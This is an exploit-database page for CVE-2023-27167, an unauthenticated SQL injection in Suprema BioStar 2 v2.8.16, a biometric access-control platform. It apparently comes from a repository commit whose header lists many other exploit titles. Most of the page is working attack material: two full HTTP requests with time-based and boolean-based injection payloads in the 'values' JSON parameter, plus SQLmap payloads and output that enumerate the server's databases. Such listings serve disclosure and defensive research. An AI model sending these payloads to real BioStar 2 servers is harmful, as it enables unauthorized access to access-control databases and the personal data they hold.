85954a8fad
34 changes to exploits/shellcodes/ghdb ENTAB ERP 1.0 - Username PII leak ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS) FortiRecorder 6.4.3 - Denial of Service Schneider Electric v1.0 - Directory traversal & Broken Authentication Altenergy Power Control Software C1.2.5 - OS command injection Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE) Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated) Google Chrome 109.0.5414.74 - Code Execution via missing lib file (Ubuntu) Lucee Scheduled Job v1.0 - Command Execution Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE) Adobe Connect 11.4.5 - Local File Disclosure Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS) Suprema BioStar 2 v2.8.16 - SQL Injection Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS) dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated) GLPI v10.0.1 - Unauthenticated Sensitive Data Exposure Icinga Web 2.10 - Arbitrary File Disclosure Joomla! v4.2.8 - Unauthenticated information disclosure Medicine Tracker System v1.0 - Sql Injection Online Appointment System V1.0 - Cross-Site Scripting (XSS) Online-Pizza-Ordering -1.0 - Remote Code Execution (RCE) pfsenseCE v2.6.0 - Anti-brute force protection bypass Restaurant Management System 1.0 - SQL Injection WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS) X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated) X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated) Microsoft Windows 11 - 'cmd.exe' Denial of Service ActFax 10.10 - Unquoted Path Services ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path RSA NetWitness Platform 12.2 - Incorrect Access Control / Code Execution Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation
97 lines
No EOL
3.8 KiB
Text
97 lines
No EOL
3.8 KiB
Text
# Exploit Title: Suprema BioStar 2 v2.8.16 - SQL Injection
|
||
# Date: 26/03/2023
|
||
# Exploit Author: Yuriy (Vander) Tsarenko (https://www.linkedin.com/in/yuriy-tsarenko-a1453aa4/)
|
||
# Vendor Homepage: https://www.supremainc.com/
|
||
# Software Link: https://www.supremainc.com/en/platform/hybrid-security-platform-biostar-2.asp
|
||
# Software Download: https://support.supremainc.com/en/support/solutions/articles/24000076543--biostar-2-biostar-2-8-16-new-features-and-configuration-guide
|
||
# Version: 2.8.16
|
||
# Tested on: Windows, Linux
|
||
# CVE-2023-27167
|
||
|
||
## Description
|
||
A Boolean-based SQL injection/Time based SQL vulnerability in the page (/api/users/absence?search_month=1) in Suprema BioStar 2 v2.8.16 allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "values" JSON parameter.
|
||
|
||
## Request PoC #1
|
||
'''
|
||
POST /api/users/absence?search_month=1 HTTP/1.1
|
||
Host: biostar2.server.net
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
|
||
Accept: application/json, text/plain, */*
|
||
Accept-Language: en-GB,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
content-type: application/json;charset=UTF-8
|
||
content-language: en
|
||
bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548
|
||
Content-Length: 204
|
||
Origin: https://biostar2.server.net
|
||
Connection: close
|
||
Referer: https://biostar2.server.net/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-origin
|
||
|
||
{"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(4)))a)",4840,20120]}],"orders":[],"total":false}}
|
||
|
||
'''
|
||
|
||
Time based SQL injection (set 4 – response delays for 8 seconds).
|
||
|
||
'''
|
||
|
||
## Request PoC #2
|
||
'''
|
||
POST /api/users/absence?search_month=1 HTTP/1.1
|
||
Host: biostar2.server.net
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
|
||
Accept: application/json, text/plain, */*
|
||
Accept-Language: en-GB,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
content-type: application/json;charset=UTF-8
|
||
content-language: en
|
||
bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548
|
||
Content-Length: 188
|
||
Origin: https://biostar2.server.net
|
||
Connection: close
|
||
Referer: https://biostar2.server.net/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-origin
|
||
|
||
{"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}}
|
||
|
||
'''
|
||
|
||
Boolean-based SQL injection (payload “1 and 3523=03523” means “1 and True”, so we can see information in response, regarding user with id 1, which is admin)
|
||
|
||
'''
|
||
|
||
## Exploit with SQLmap
|
||
|
||
Save the request from Burp Suite to file.
|
||
|
||
'''
|
||
---
|
||
Parameter: JSON #1* ((custom) POST)
|
||
Type: boolean-based blind
|
||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||
Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}}
|
||
|
||
Type: time-based blind
|
||
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||
Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(7)))a)",4840,20120]}],"orders":[],"total":false}}
|
||
---
|
||
[05:02:49] [INFO] testing MySQL
|
||
[05:02:49] [INFO] confirming MySQL
|
||
[05:02:50] [INFO] the back-end DBMS is MySQL
|
||
back-end DBMS: MySQL > 5.0.0 (MariaDB fork)
|
||
[05:02:50] [INFO] fetching database names
|
||
[05:02:50] [INFO] fetching number of databases
|
||
[05:02:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
|
||
[05:02:55] [INFO] retrieved: 2
|
||
[05:03:12] [INFO] retrieved: biostar2_ac
|
||
[05:03:56] [INFO] retrieved: information_schema
|
||
available databases [2]:
|
||
[*] biostar2_ac
|
||
[*] information schema
|
||
|
||
''' |